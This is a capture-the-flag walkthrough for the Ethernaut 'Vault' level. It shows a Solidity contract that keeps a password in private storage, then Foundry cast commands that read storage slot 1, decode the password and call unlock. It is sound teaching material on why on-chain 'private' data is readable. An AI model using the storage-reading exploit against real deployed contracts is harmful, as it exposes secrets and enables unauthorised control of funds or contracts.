Ethernaut - Vault - Solution

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    bool public locked;
    bytes32 private password;

    constructor(bytes32 _password) {
        locked = true;
        password = _password;
    }

    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    }
}

Solution

The goal of this level is to unlock the vault by providing the correct password.

First, recall that while marking a variable as private prevents other contracts from accessing it, it does not mean that the value of this variable is not publicly accessible. In fact, we can easily inspect password by accessing the storage slot with index 1 (index 0 stores the locked state) using Cast:

cast storage --rpc-url=<your rpc url> <your level instance address> 1

This tells us that the correct password is 0x412076657279207374726f6e67207365637265742070617373776f7264203a29.

Note For the fun of it, we can convert this from bytes32 to ASCII via:

# Returns "A very strong secret password :)"
cast --to-ascii 0x412076657279207374726f6e67207365637265742070617373776f7264203a29

To complete the level, we can simply call the unlock function using the above password as the function parameter:

cast send <your level instance address> "unlock(bytes32)" "0x412076657279207374726f6e67207365637265742070617373776f7264203a29" --private-key <your private key> --rpc-url <your rpc url> --gas-price <a sufficiently high gas price>

Note You can check the current gas price via:

cast gas-price --rpc-url <your rpc url>